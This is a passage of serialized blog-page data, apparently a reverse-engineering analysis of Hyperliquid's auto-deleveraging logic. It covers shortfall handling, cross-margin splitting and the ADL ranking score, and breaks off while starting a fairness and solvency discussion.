",{"type":24,"tag":166380,"props":166381,"children":166384},"bndb-xref",{"lines":166382,"addrs":166383},"1-2","0x555556ac3e18-0x555556ac3e18",[166385],{"type":29,"value":166386},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":166388,"children":166389},{},[166390,166392,166398,166400,166406,166408,166414,166416,166422],{"type":29,"value":166391},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":135,"props":166393,"children":166395},{"className":166394},[],[166396],{"type":29,"value":166397},"only_isolated",{"type":29,"value":166399}," (or ",{"type":24,"tag":135,"props":166401,"children":166403},{"className":166402},[],[166404],{"type":29,"value":166405},"strict_isolated",{"type":29,"value":166407}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":135,"props":166409,"children":166411},{"className":166410},[],[166412],{"type":29,"value":166413},"deferred_queue",{"type":29,"value":166415},", which triggers ADL regardless of the system's ",{"type":24,"tag":135,"props":166417,"children":166419},{"className":166418},[],[166420],{"type":29,"value":166421},"total_shortfall",{"type":29,"value":166423},". This is dictated by this branch.",{"type":24,"tag":165836,"props":166425,"children":166428},{"addr":166207,"line-start":166426,"line-end":166427},"211","243",[],{"type":24,"tag":25,"props":166430,"children":166431},{},[166432,166434,166441],{"type":29,"value":166433},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":32,"props":166435,"children":166438},{"href":166436,"rel":166437},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[36],[166439],{"type":29,"value":166440},"March 2025 incident",{"type":29,"value":166442},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":26585,"props":166444,"children":166446},{"id":166445},"how-do-we-get-rid-of-debt",[166447],{"type":29,"value":166448},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":166450,"children":166451},{},[166452],{"type":29,"value":166453},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":166455,"children":166456},{},[166457,166459,166464,166466,166471,166473,166478],{"type":29,"value":166458},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":135,"props":166460,"children":166462},{"className":166461},[],[166463],{"type":29,"value":166413},{"type":29,"value":166465}," is overwritten by all the users marked by ",{"type":24,"tag":135,"props":166467,"children":166469},{"className":166468},[],[166470],{"type":29,"value":166309},{"type":29,"value":166472},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":135,"props":166474,"children":166476},{"className":166475},[],[166477],{"type":29,"value":166405},{"type":29,"value":166479}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":165805,"props":166481,"children":166482},{},[166483],{"type":24,"tag":25,"props":166484,"children":166485},{},[166486],{"type":29,"value":166487},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":165836,"props":166489,"children":166492},{"addr":166207,"line-start":166490,"line-end":166491},"523","526",[],{"type":24,"tag":25,"props":166494,"children":166495},{},[166496,166498,166504,166506,166512,166514,166519],{"type":29,"value":166497},"For each underwater position, we do a ",{"type":24,"tag":166380,"props":166499,"children":166501},{"addrs":166500},"0x555556ac42ad-0x555556ac42be",[166502],{"type":29,"value":166503},"B-tree lookup",{"type":29,"value":166505}," on ",{"type":24,"tag":135,"props":166507,"children":166509},{"className":166508},[],[166510],{"type":29,"value":166511},"clearinghouse.user_states[position.user]",{"type":29,"value":166513},", adding them to a ",{"type":24,"tag":135,"props":166515,"children":166517},{"className":166516},[],[166518],{"type":29,"value":24904},{"type":29,"value":166520}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":165836,"props":166522,"children":166525},{"addr":166207,"line-start":166523,"line-end":166524},"635","658",[],{"type":24,"tag":25,"props":166527,"children":166528},{},[166529],{"type":29,"value":166530},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":261,"props":166532,"children":166533},{},[166534],{"type":24,"tag":135,"props":166535,"children":166537},{"className":166536},[11705,165864],[166538],{"type":24,"tag":271,"props":166539,"children":166541},{"className":166540},[165869],[166542],{"type":24,"tag":271,"props":166543,"children":166545},{"className":166544},[11711],[166546],{"type":24,"tag":271,"props":166547,"children":166549},{"className":166548,"ariaHidden":5670},[11716],[166550],{"type":24,"tag":271,"props":166551,"children":166553},{"className":166552},[11721],[166554,166559],{"type":24,"tag":271,"props":166555,"children":166558},{"className":166556,"style":166557},[11726],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":271,"props":166560,"children":166562},{"className":166561},[11732],[166563],{"type":24,"tag":271,"props":166564,"children":166567},{"className":166565},[166566],"mtable",[166568,166648],{"type":24,"tag":271,"props":166569,"children":166572},{"className":166570},[166571],"col-align-r",[166573],{"type":24,"tag":271,"props":166574,"children":166576},{"className":166575},[11752,29327],[166577,166636],{"type":24,"tag":271,"props":166578,"children":166580},{"className":166579},[11757],[166581,166631],{"type":24,"tag":271,"props":166582,"children":166585},{"className":166583,"style":166584},[11762],"height:2.3452em;",[166586,166609],{"type":24,"tag":271,"props":166587,"children":166589},{"style":166588},"top:-4.3452em;",[166590,166595],{"type":24,"tag":271,"props":166591,"children":166594},{"className":166592,"style":166593},[11771],"height:3.3944em;",[],{"type":24,"tag":271,"props":166596,"children":166598},{"className":166597},[11732],[166599],{"type":24,"tag":271,"props":166600,"children":166602},{"className":166601},[11732,29],[166603],{"type":24,"tag":271,"props":166604,"children":166606},{"className":166605},[11732],[166607],{"type":29,"value":166608},"position_weight",{"type":24,"tag":271,"props":166610,"children":166612},{"style":166611},"top:-2.2092em;",[166613,166617],{"type":24,"tag":271,"props":166614,"children":166616},{"className":166615,"style":166593},[11771],[],{"type":24,"tag":271,"props":166618,"children":166620},{"className":166619},[11732],[166621],{"type":24,"tag":271,"props":166622,"children":166624},{"className":166623},[11732,29],[166625],{"type":24,"tag":271,"props":166626,"children":166628},{"className":166627},[11732],[166629],{"type":29,"value":166630},"position_adl_amount",{"type":24,"tag":271,"props":166632,"children":166634},{"className":166633},[29430],[166635],{"type":29,"value":29433},{"type":24,"tag":271,"props":166637,"children":166639},{"className":166638},[11757],[166640],{"type":24,"tag":271,"props":166641,"children":166644},{"className":166642,"style":166643},[11762],"height:1.8452em;",[166645],{"type":24,"tag":271,"props":166646,"children":166647},{},[],{"type":24,"tag":271,"props":166649,"children":166652},{"className":166650},[166651],"col-align-l",[166653],{"type":24,"tag":271,"props":166654,"children":166656},{"className":166655},[11752,29327],[166657,166858],{"type":24,"tag":271,"props":166658,"children":166660},{"className":166659},[11757],[166661,166853],{"type":24,"tag":271,"props":166662,"children":166664},{"className":166663,"style":166584},[11762],[166665,166793],{"type":24,"tag":271,"props":166666,"children":166667},{"style":166588},[166668,166672],{"type":24,"tag":271,"props":166669,"children":166671},{"className":166670,"style":166593},[11771],[],{"type":24,"tag":271,"props":166673,"children":166675},{"className":166674},[11732],[166676,166680,166684,166689,166693],{"type":24,"tag":271,"props":166677,"children":166679},{"className":166678},[11732],[],{"type":24,"tag":271,"props":166681,"children":166683},{"className":166682,"style":11908},[11810],[],{"type":24,"tag":271,"props":166685,"children":166687},{"className":166686},[11913],[166688],{"type":29,"value":762},{"type":24,"tag":271,"props":166690,"children":166692},{"className":166691,"style":11908},[11810],[],{"type":24,"tag":271,"props":166694,"children":166696},{"className":166695},[11732],[166697,166701,166789],{"type":24,"tag":271,"props":166698,"children":166700},{"className":166699},[29402,120355],[],{"type":24,"tag":271,"props":166702,"children":166704},{"className":166703},[120360],[166705],{"type":24,"tag":271,"props":166706,"children":166708},{"className":166707},[11752,29327],[166709,166777],{"type":24,"tag":271,"props":166710,"children":166712},{"className":166711},[11757],[166713,166772],{"type":24,"tag":271,"props":166714,"children":166717},{"className":166715,"style":166716},[11762],"height:1.3944em;",[166718,166739,166750],{"type":24,"tag":271,"props":166719,"children":166720},{"style":165946},[166721,166725],{"type":24,"tag":271,"props":166722,"children":166724},{"className":166723,"style":119008},[11771],[],{"type":24,"tag":271,"props":166726,"children":166728},{"className":166727},[11732],[166729],{"type":24,"tag":271,"props":166730,"children":166732},{"className":166731},[11732,29],[166733],{"type":24,"tag":271,"props":166734,"children":166736},{"className":166735},[11732],[166737],{"type":29,"value":166738},"total_cross_notional",{"type":24,"tag":271,"props":166740,"children":166741},{"style":120410},[166742,166746],{"type":24,"tag":271,"props":166743,"children":166745},{"className":166744,"style":119008},[11771],[],{"type":24,"tag":271,"props":166747,"children":166749},{"className":166748,"style":120420},[120419],[],{"type":24,"tag":271,"props":166751,"children":166753},{"style":166752},"top:-3.7em;",[166754,166758],{"type":24,"tag":271,"props":166755,"children":166757},{"className":166756,"style":119008},[11771],[],{"type":24,"tag":271,"props":166759,"children":166761},{"className":166760},[11732],[166762],{"type":24,"tag":271,"props":166763,"children":166765},{"className":166764},[11732,29],[166766],{"type":24,"tag":271,"props":166767,"children":166769},{"className":166768},[11732],[166770],{"type":29,"value":166771},"position_notional",{"type":24,"tag":271,"props":166773,"children":166775},{"className":166774},[29430],[166776],{"type":29,"value":29433},{"type":24,"tag":271,"props":166778,"children":166780},{"className":166779},[11757],[166781],{"type":24,"tag":271,"props":166782,"children":166785},{"className":166783,"style":166784},[11762],"height:0.996em;",[166786],{"type":24,"tag":271,"props":166787,"children":166788},{},[],{"type":24,"tag":271,"props":166790,"children":166792},{"className":166791},[29424,120355],[],{"type":24,"tag":271,"props":166794,"children":166795},{"style":166611},[166796,166800],{"type":24,"tag":271,"props":166797,"children":166799},{"className":166798,"style":166593},[11771],[],{"type":24,"tag":271,"props":166801,"children":166803},{"className":166802},[11732],[166804,166808,166812,166817,166821,166831,166835,166840,166844],{"type":24,"tag":271,"props":166805,"children":166807},{"className":166806},[11732],[],{"type":24,"tag":271,"props":166809,"children":166811},{"className":166810,"style":11908},[11810],[],{"type":24,"tag":271,"props":166813,"children":166815},{"className":166814},[11913],[166816],{"type":29,"value":762},{"type":24,"tag":271,"props":166818,"children":166820},{"className":166819,"style":11908},[11810],[],{"type":24,"tag":271,"props":166822,"children":166824},{"className":166823},[11732,29],[166825],{"type":24,"tag":271,"props":166826,"children":166828},{"className":166827},[11732],[166829],{"type":29,"value":166830},"user_shortfall",{"type":24,"tag":271,"props":166832,"children":166834},{"className":166833,"style":11811},[11810],[],{"type":24,"tag":271,"props":166836,"children":166838},{"className":166837},[11816],[166839],{"type":29,"value":118099},{"type":24,"tag":271,"props":166841,"children":166843},{"className":166842,"style":11811},[11810],[],{"type":24,"tag":271,"props":166845,"children":166847},{"className":166846},[11732,29],[166848],{"type":24,"tag":271,"props":166849,"children":166851},{"className":166850},[11732],[166852],{"type":29,"value":166608},{"type":24,"tag":271,"props":166854,"children":166856},{"className":166855},[29430],[166857],{"type":29,"value":29433},{"type":24,"tag":271,"props":166859,"children":166861},{"className":166860},[11757],[166862],{"type":24,"tag":271,"props":166863,"children":166865},{"className":166864,"style":166643},[11762],[166866],{"type":24,"tag":271,"props":166867,"children":166868},{},[],{"type":24,"tag":25,"props":166870,"children":166871},{},[166872],{"type":29,"value":166873},"We do that here:",{"type":24,"tag":165836,"props":166875,"children":166878},{"addr":166207,"line-start":166876,"line-end":166877},"828","981",[],{"type":24,"tag":25,"props":166880,"children":166881},{},[166882,166883,166889,166891,166897],{"type":29,"value":1422},{"type":24,"tag":166380,"props":166884,"children":166886},{"lines":166885},"77-79",[166887],{"type":29,"value":166888},"inner loop",{"type":29,"value":166890}," above spans all ",{"type":24,"tag":135,"props":166892,"children":166894},{"className":166893},[],[166895],{"type":29,"value":166896},"(asset_idx, direction)",{"type":29,"value":166898}," held in the cross margin position.",{"type":24,"tag":25,"props":166900,"children":166901},{},[166902,166904,166910,166912,166918,166919,166925],{"type":29,"value":166903},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":135,"props":166905,"children":166907},{"className":166906},[],[166908],{"type":29,"value":166909},"adl_output",{"type":29,"value":166911}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":24,"tag":135,"props":166913,"children":166915},{"className":166914},[],[166916],{"type":29,"value":166917},"position_id",{"type":29,"value":518},{"type":24,"tag":135,"props":166920,"children":166922},{"className":166921},[],[166923],{"type":29,"value":166924},"position_shortfall",{"type":29,"value":41},{"type":24,"tag":165836,"props":166927,"children":166930},{"addr":166207,"line-start":166928,"line-end":166929},"2377","2469",[],{"type":24,"tag":25,"props":166932,"children":166933},{},[166934,166936,166942],{"type":29,"value":166935},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":135,"props":166937,"children":166939},{"className":166938},[],[166940],{"type":29,"value":166941},"(position_id, cut)",{"type":29,"value":166943},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":166945,"children":166946},{},[166947,166949,166954],{"type":29,"value":166948},"The final phase of ",{"type":24,"tag":135,"props":166950,"children":166952},{"className":166951},[],[166953],{"type":29,"value":166161},{"type":29,"value":166955}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":165836,"props":166957,"children":166960},{"addr":166207,"addr-start":166958,"addr-end":166959},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":166962,"children":166963},{},[166964],{"type":29,"value":166965},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":43040,"props":166967,"children":166969},{"id":166968},"who-do-we-deleverage",[166970],{"type":29,"value":166971},"Who Do We Deleverage?",{"type":24,"tag":25,"props":166973,"children":166974},{},[166975],{"type":29,"value":166976},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":166978,"children":166979},{},[166980],{"type":29,"value":166981},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":166983,"children":166984},{},[166985,166987,166994],{"type":29,"value":166986},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":32,"props":166988,"children":166991},{"href":166989,"rel":166990},"https://arxiv.org/abs/2512.01112",[36],[166992],{"type":29,"value":166993},"this paper",{"type":29,"value":166995},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":166997,"children":166998},{},[166999],{"type":29,"value":167000},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":62,"props":167002,"children":167004},{"id":167003},"adl-score-computation",[167005],{"type":29,"value":167006},"ADL Score Computation",{"type":24,"tag":25,"props":167008,"children":167009},{},[167010,167012,167018,167020,167026,167028,167033],{"type":29,"value":167011},"The score function at ",{"type":24,"tag":135,"props":167013,"children":167015},{"className":167014},[],[167016],{"type":29,"value":167017},"compute_adl_ranking_score",{"type":29,"value":167019}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":135,"props":167021,"children":167023},{"className":167022},[],[167024],{"type":29,"value":167025},"Ord",{"type":29,"value":167027}," implementation on some 20-byte address representation. A ",{"type":24,"tag":135,"props":167029,"children":167031},{"className":167030},[],[167032],{"type":29,"value":24904},{"type":29,"value":167034}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":167036,"children":167037},{},[167038,167040,167045,167047,167053,167055,167062,167064,167071],{"type":29,"value":167039},"Those sort routines are ",{"type":24,"tag":10648,"props":167041,"children":167042},{},[167043],{"type":29,"value":167044},"generated by the compiler",{"type":29,"value":167046},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":135,"props":167048,"children":167050},{"className":167049},[],[167051],{"type":29,"value":167052},".comment",{"type":29,"value":167054},", we may even manually ",{"type":24,"tag":32,"props":167056,"children":167059},{"href":167057,"rel":167058},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[36],[167060],{"type":29,"value":167061},"take advantage",{"type":29,"value":167063}," of this to recover the ",{"type":24,"tag":32,"props":167065,"children":167068},{"href":167066,"rel":167067},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[36],[167069],{"type":29,"value":167070},"exact source of library functions",{"type":29,"value":41},{"type":24,"tag":25,"props":167073,"children":167074},{},[167075,167077,167082],{"type":29,"value":167076},"Let's see how this ties back into the ",{"type":24,"tag":135,"props":167078,"children":167080},{"className":167079},[],[167081],{"type":29,"value":166161},{"type":29,"value":12210},{"type":24,"tag":165836,"props":167084,"children":167086},{"source":166161,"target":167017,"direction":166162,"path":167085},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":167088,"children":167089},{},[167090],{"type":29,"value":167091},"And here's the main call site used for sorting:",{"type":24,"tag":165836,"props":167093,"children":167096},{"addr":166207,"line-start":167094,"line-end":167095},"2806","2814",[],{"type":24,"tag":62,"props":167098,"children":167100},{"id":167099},"ratio-1-effective-leverage",[167101],{"type":29,"value":167102},"Ratio 1: Effective Leverage",{"type":24,"tag":261,"props":167104,"children":167105},{},[167106],{"type":24,"tag":135,"props":167107,"children":167109},{"className":167108},[11705,165864],[167110],{"type":24,"tag":271,"props":167111,"children":167113},{"className":167112},[165869],[167114],{"type":24,"tag":271,"props":167115,"children":167117},{"className":167116},[11711],[167118],{"type":24,"tag":271,"props":167119,"children":167121},{"className":167120,"ariaHidden":5670},[11716],[167122,167153],{"type":24,"tag":271,"props":167123,"children":167125},{"className":167124},[11721],[167126,167130,167140,167144,167149],{"type":24,"tag":271,"props":167127,"children":167129},{"className":167128,"style":121892},[11726],[],{"type":24,"tag":271,"props":167131,"children":167133},{"className":167132},[11732,29],[167134],{"type":24,"tag":271,"props":167135,"children":167137},{"className":167136},[11732],[167138],{"type":29,"value":167139},"effective leverage",{"type":24,"tag":271,"props":167141,"children":167143},{"className":167142,"style":11908},[11810],[],{"type":24,"tag":271,"props":167145,"children":167147},{"className":167146},[11913],[167148],{"type":29,"value":762},{"type":24,"tag":271,"props":167150,"children":167152},{"className":167151,"style":11908},[11810],[],{"type":24,"tag":271,"props":167154,"children":167156},{"className":167155},[11721],[167157,167162],{"type":24,"tag":271,"props":167158,"children":167161},{"className":167159,"style":167160},[11726],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":271,"props":167163,"children":167165},{"className":167164},[11732],[167166,167170,167265],{"type":24,"tag":271,"props":167167,"children":167169},{"className":167168},[29402,120355],[],{"type":24,"tag":271,"props":167171,"children":167173},{"className":167172},[120360],[167174],{"type":24,"tag":271,"props":167175,"children":167177},{"className":167176},[11752,29327],[167178,167253],{"type":24,"tag":271,"props":167179,"children":167181},{"className":167180},[11757],[167182,167248],{"type":24,"tag":271,"props":167183,"children":167185},{"className":167184,"style":165942},[11762],[167186,167207,167218],{"type":24,"tag":271,"props":167187,"children":167188},{"style":165946},[167189,167193],{"type":24,"tag":271,"props":167190,"children":167192},{"className":167191,"style":119008},[11771],[],{"type":24,"tag":271,"props":167194,"children":167196},{"className":167195},[11732],[167197],{"type":24,"tag":271,"props":167198,"children":167200},{"className":167199},[11732,29],[167201],{"type":24,"tag":271,"props":167202,"children":167204},{"className":167203},[11732],[167205],{"type":29,"value":167206},"account value",{"type":24,"tag":271,"props":167208,"children":167209},{"style":120410},[167210,167214],{"type":24,"tag":271,"props":167211,"children":167213},{"className":167212,"style":119008},[11771],[],{"type":24,"tag":271,"props":167215,"children":167217},{"className":167216,"style":120420},[120419],[],{"type":24,"tag":271,"props":167219,"children":167220},{"style":165997},[167221,167225],{"type":24,"tag":271,"props":167222,"children":167224},{"className":167223,"style":119008},[11771],[],{"type":24,"tag":271,"props":167226,"children":167228},{"className":167227},[11732],[167229,167234,167243],{"type":24,"tag":271,"props":167230,"children":167232},{"className":167231},[11732],[167233],{"type":29,"value":166012},{"type":24,"tag":271,"props":167235,"children":167237},{"className":167236},[11732,29],[167238],{"type":24,"tag":271,"props":167239,"children":167241},{"className":167240},[11732],[167242],{"type":29,"value":166022},{"type":24,"tag":271,"props":167244,"children":167246},{"className":167245},[11732],[167247],{"type":29,"value":166012},{"type":24,"tag":271,"props":167249,"children":167251},{"className":167250},[29430],[167252],{"type":29,"value":29433},{"type":24,"tag":271,"props":167254,"children":167256},{"className":167255},[11757],[167257],{"type":24,"tag":271,"props":167258,"children":167261},{"className":167259,"style":167260},[11762],"height:0.686em;",[167262],{"type":24,"tag":271,"props":167263,"children":167264},{},[],{"type":24,"tag":271,"props":167266,"children":167268},{"className":167267},[29424,120355],[],{"type":24,"tag":25,"props":167270,"children":167271},{},[167272,167274,167280,167282,167288,167289,167295,167297,167303],{"type":29,"value":167273},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":135,"props":167275,"children":167277},{"className":167276},[],[167278],{"type":29,"value":167279},"abs_notional",{"type":29,"value":167281}," (unsigned), and ",{"type":24,"tag":135,"props":167283,"children":167285},{"className":167284},[],[167286],{"type":29,"value":167287},"float.d(rbx)",{"type":29,"value":13219},{"type":24,"tag":135,"props":167290,"children":167292},{"className":167291},[],[167293],{"type":29,"value":167294},"account_value",{"type":29,"value":167296}," (signed); the division is ",{"type":24,"tag":135,"props":167298,"children":167300},{"className":167299},[],[167301],{"type":29,"value":167302},"abs_notional / account_value",{"type":29,"value":41},{"type":24,"tag":25,"props":167305,"children":167306},{},[167307],{"type":29,"value":167308},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":165836,"props":167310,"children":167314},{"addr":167311,"line-start":167312,"line-end":167313},"0x555556abb140","278","296",[],{"type":24,"tag":62,"props":167316,"children":167318},{"id":167317},"ratio-2-profit-ratio",[167319],{"type":29,"value":167320},"Ratio 2: Profit Ratio",{"type":24,"tag":261,"props":167322,"children":167323},{},[167324],{"type":24,"tag":135,"props":167325,"children":167327},{"className":167326},[11705,165864],[167328],{"type":24,"tag":271,"props":167329,"children":167331},{"className":167330},[165869],[167332],{"type":24,"tag":271,"props":167333,"children":167335},{"className":167334},[11711],[167336],{"type":24,"tag":271,"props":167337,"children":167339},{"className":167338,"ariaHidden":5670},[11716],[167340,167371],{"type":24,"tag":271,"props":167341,"children":167343},{"className":167342},[11721],[167344,167348,167358,167362,167367],{"type":24,"tag":271,"props":167345,"children":167347},{"className":167346,"style":121892},[11726],[],{"type":24,"tag":271,"props":167349,"children":167351},{"className":167350},[11732,29],[167352],{"type":24,"tag":271,"props":167353,"children":167355},{"className":167354},[11732],[167356],{"type":29,"value":167357},"profit ratio",{"type":24,"tag":271,"props":167359,"children":167361},{"className":167360,"style":11908},[11810],[],{"type":24,"tag":271,"props":167363,"children":167365},{"className":167364},[11913],[167366],{"type":29,"value":762},{"type":24,"tag":271,"props":167368,"children":167370},{"className":167369,"style":11908},[11810],[],{"type":24,"tag":271,"props":167372,"children":167374},{"className":167373},[11721],[167375,167379],{"type":24,"tag":271,"props":167376,"children":167378},{"className":167377,"style":165917},[11726],[],{"type":24,"tag":271,"props":167380,"children":167382},{"className":167381},[11732],[167383,167387,167506],{"type":24,"tag":271,"props":167384,"children":167386},{"className":167385},[29402,120355],[],{"type":24,"tag":271,"props":167388,"children":167390},{"className":167389},[120360],[167391],{"type":24,"tag":271,"props":167392,"children":167394},{"className":167393},[11752,29327],[167395,167495],{"type":24,"tag":271,"props":167396,"children":167398},{"className":167397},[11757],[167399,167490],{"type":24,"tag":271,"props":167400,"children":167402},{"className":167401,"style":165942},[11762],[167403,167424,167435],{"type":24,"tag":271,"props":167404,"children":167405},{"style":165946},[167406,167410],{"type":24,"tag":271,"props":167407,"children":167409},{"className":167408,"style":119008},[11771],[],{"type":24,"tag":271,"props":167411,"children":167413},{"className":167412},[11732],[167414],{"type":24,"tag":271,"props":167415,"children":167417},{"className":167416},[11732,29],[167418],{"type":24,"tag":271,"props":167419,"children":167421},{"className":167420},[11732],[167422],{"type":29,"value":167423},"entry notional",{"type":24,"tag":271,"props":167425,"children":167426},{"style":120410},[167427,167431],{"type":24,"tag":271,"props":167428,"children":167430},{"className":167429,"style":119008},[11771],[],{"type":24,"tag":271,"props":167432,"children":167434},{"className":167433,"style":120420},[120419],[],{"type":24,"tag":271,"props":167436,"children":167437},{"style":165997},[167438,167442],{"type":24,"tag":271,"props":167439,"children":167441},{"className":167440,"style":119008},[11771],[],{"type":24,"tag":271,"props":167443,"children":167445},{"className":167444},[11732],[167446,167452,167457,167467,167472,167476,167480,167485],{"type":24,"tag":271,"props":167447,"children":167449},{"className":167448},[29309],[167450],{"type":29,"value":167451},"max",{"type":24,"tag":271,"props":167453,"children":167455},{"className":167454},[29402],[167456],{"type":29,"value":606},{"type":24,"tag":271,"props":167458,"children":167460},{"className":167459},[11732,29],[167461],{"type":24,"tag":271,"props":167462,"children":167464},{"className":167463},[11732],[167465],{"type":29,"value":167466},"pnl",{"type":24,"tag":271,"props":167468,"children":167470},{"className":167469},[11842],[167471],{"type":29,"value":11845},{"type":24,"tag":271,"props":167473,"children":167475},{"className":167474,"style":11849},[11810],[],{"type":24,"tag":271,"props":167477,"children":167479},{"className":167478,"style":11849},[11810],[],{"type":24,"tag":271,"props":167481,"children":167483},{"className":167482},[11732],[167484],{"type":29,"value":4121},{"type":24,"tag":271,"props":167486,"children":167488},{"className":167487},[29424],[167489],{"type":29,"value":2693},{"type":24,"tag":271,"props":167491,"children":167493},{"className":167492},[29430],[167494],{"type":29,"value":29433},{"type":24,"tag":271,"props":167496,"children":167498},{"className":167497},[11757],[167499],{"type":24,"tag":271,"props":167500,"children":167502},{"className":167501,"style":166040},[11762],[167503],{"type":24,"tag":271,"props":167504,"children":167505},{},[],{"type":24,"tag":271,"props":167507,"children":167509},{"className":167508},[29424,120355],[],{"type":24,"tag":25,"props":167511,"children":167512},{},[167513,167515,167521],{"type":29,"value":167514},"It uses entry notional (",{"type":24,"tag":135,"props":167516,"children":167518},{"className":167517},[],[167519],{"type":29,"value":167520},"r14_2",{"type":29,"value":167522},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":167524,"children":167525},{},[167526],{"type":29,"value":167527},"This basically tells us how well the user's bet went.",{"type":24,"tag":165836,"props":167529,"children":167533},{"addr":167530,"addr-start":167531,"addr-end":167532},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":167535,"children":167536},{},[167537,167539,167545,167547,167553],{"type":29,"value":167538},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":135,"props":167540,"children":167542},{"className":167541},[],[167543],{"type":29,"value":167544},"1e-8",{"type":29,"value":167546},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":135,"props":167548,"children":167550},{"className":167549},[],[167551],{"type":29,"value":167552},"effective_leverage * profit_ratio",{"type":29,"value":167554},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":167556,"children":167557},{},[167558],{"type":29,"value":167559},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":85,"props":167561,"children":167563},{"id":167562},"partial-and-total-adl",[167564],{"type":29,"value":167565},"Partial and Total ADL",{"type":24,"tag":25,"props":167567,"children":167568},{},[167569],{"type":29,"value":167570},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":167572,"children":167573},{},[167574],{"type":29,"value":167575},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":167577,"children":167578},{},[167579,167581,167586],{"type":29,"value":167580},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":135,"props":167582,"children":167584},{"className":167583},[],[167585],{"type":29,"value":166161},{"type":29,"value":167587}," boils down to:",{"type":24,"tag":165836,"props":167589,"children":167592},{"addr":166207,"line-start":167590,"line-end":167591},"3252","3632",[],{"type":24,"tag":25,"props":167594,"children":167595},{},[167596],{"type":29,"value":167597},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":43040,"props":167599,"children":167601},{"id":167600},"branches",[167602],{"type":29,"value":167603},"Branches",{"type":24,"tag":25,"props":167605,"children":167606},{},[167607],{"type":29,"value":167608},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":167610,"children":167611},{},[167612],{"type":29,"value":167613},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":43040,"props":167615,"children":167617},{"id":167616},"financial-conclusions",[167618],{"type":29,"value":167619},"Financial Conclusions",{"type":24,"tag":62,"props":167621,"children":167623},{"id":167622},"fairness-revenue-solvency-trilemma",[167624],{"type":29,"value":167625},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":167627,"children":167628},{},[167629,167631,167637],{"type":29,"value":167630},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":32,"props":167632,"children":167634},{"href":166989,"rel":167633},[36],[167635],{"type":29,"value":167636},"the paper mentioned before",{"type":29,"value":167638},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":97,"props":167640,"children":167641},{},[167642,167652,167662],{"type":24,"tag":101,"props":167643,"children":167644},{},[167645,167650],{"type":24,"tag":10648,"props":167646,"children":167647},{},[167648],{"type":29,"value":167649},"Solvency",{"type":29,"value":167651},": can the platform pay every trader 